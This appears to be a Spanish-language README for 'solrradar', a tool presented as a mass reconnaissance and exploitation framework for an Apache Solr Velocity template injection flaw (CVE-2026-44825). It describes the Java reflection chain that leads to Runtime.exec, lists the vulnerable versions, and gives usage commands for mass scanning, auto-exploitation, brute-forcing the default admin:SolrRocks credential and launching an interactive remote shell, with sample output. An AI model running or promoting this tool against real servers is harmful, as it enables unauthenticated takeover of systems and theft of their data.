☄️ Marco de reconocimiento y explotación masiva para Apache Solr CVE-2026-44825 — Inyección de plantillas Velocity a RCE
CVE-2026-44825 es una vulnerabilidad de severidad crítica en Apache Solr que permite a los atacantes lograr Ejecución Remota de Código (RCE) no autenticada mediante inyección de plantillas Velocity.
El endpoint /select de Apache Solr acepta un parámetro wt=velocity que renderiza plantillas Velocity proporcionadas por el usuario. Cuando el Velocity Response Writer está habilitado (o puede habilitarse mediante la API de configuración), un atacante puede inyectar una plantilla maliciosa que invoque java.lang.Runtime.exec(), ejecutando comandos arbitrarios del sistema con los privilegios del proceso de Solr.
| Vector | Severidad | Impacto |
|---|---|---|
| RCE no autenticada | 9.8 (Crítica) | Compromiso total del sistema |
| RCE autenticada | 8.8 (Alta) | Ejecución de código tras la autenticación |
| Divulgación de información | 5.3 (Media) | Enumeración de cores/colecciones |
Apache Solr incluye Apache Velocity como un motor de plantillas opcional para el renderizado de respuestas. La vulnerabilidad reside en el VelocityResponseWriter de Solr, que procesa parámetros de plantilla controlados por el usuario sin una sanitización adecuada, permitiendo la invocación directa de las APIs de reflexión de Java:
Java Reflection Chain:
vtl → Class.forName("java.lang.Runtime") → getRuntime().exec(cmd)
| Versión de Apache Solr | Estado | Notas |
|---|---|---|
| 9.4.0 – 9.10.1 | 🔴 Vulnerable | Explotación activa en la naturaleza |
| 10.0.0 | 🔴 Vulnerable | La versión inicial 10.x está afectada |
| 10.0.1+ | 🟢 Parcheada | Corrección retroportada |
| 9.10.2+ | 🟢 Parcheada | Versión de parche disponible |
| ≤ 9.3.x | 🟢 No afectada | Velocity Response Writer no presente |
| 8.x (todas) | 🟢 No afectada | Sin soporte de Velocity |
Nota: Las comprobaciones de versión se realizan automáticamente analizando la respuesta JSON de
/admin/info/system.
🔍 Reconocimiento
|
💀 Explotación
|
# Clone the repository
git clone https://github.com/shinthink/solrradar.git
cd solrradar
# Install dependencies
pip install -r requirements.txt
# Verify
python solr_scanner.py --help
requests>=2.28.0
urllib3>=1.26.0
Solo bibliotecas estándar +
requests. Sin dependencias exóticas.
CVE-2026-44825 Apache Solr Scanner
-t, --target Single target URL or IP[:port]
-f, --file File containing targets (one per line, # for comments)
--exploit Auto-exploit if vulnerable credentials are found
--rce Launch interactive shell after authentication
-u, --user Username for Basic Auth
-pw, --password Password for Basic Auth
-o, --output JSON output file path (default: solr_results.json)
-w, --workers Number of concurrent threads (default: 30)
-T, --timeout HTTP request timeout (seconds) (default: 8)
# Single target
python solr_scanner.py -t 192.168.1.100:8983
# Single target with custom path
python solr_scanner.py -t http://example.com/solr
# Mass scan from file
python solr_scanner.py -f targets.txt -o results.json
# targets.txt — supports comments and blank lines
192.168.10.10:8983
192.168.10.20:8983
http://solr-target.internal/solr
192.168.1.0/24 # (CIDR not supported; pre-expand with external tool)
# Scan + auto-exploit if creds found
python solr_scanner.py -f targets.txt --exploit
# Known credentials + interactive shell
python solr_scanner.py -t target:8983 --rce -u admin -pw SolrRocks
# Auto brute-force + shell on success
python solr_scanner.py -t target:8983 --rce
$ python solr_scanner.py -f targets.txt
CVE-2026-44825 Apache Solr Scanner
Targets: 3 | Threads: 30 | Timeout: 8s
Scanning...
[Solr 8.11.2] http://192.168.10.10:8983/solr
[Solr 8.11.2] http://192.168.10.20:8983/solr
Cols (no auth): ['authority', 'dfa', 'oai', 'search']
[Solr 9.4.1] VULN +Auth http://solr-target.internal/solr
Done. Total:3 | Solr:3 | Vuln:1
Los 3 objetivos fueron detectados. La instancia 9.4.1 está marcada como vulnerable con Basic Auth habilitado.
$ python solr_scanner.py -t solr-target.internal
CVE-2026-44825 Apache Solr Scanner
[Solr 9.4.1] VULN +Auth http://solr-target.internal/solr
[!] admin:SolrRocks
Cols: ['cms', 'users', 'search', 'analytics']
La credencial predeterminada
admin:SolrRocksotorga acceso a las APIs de administración de Solr. Se descubrieron cuatro colecciones.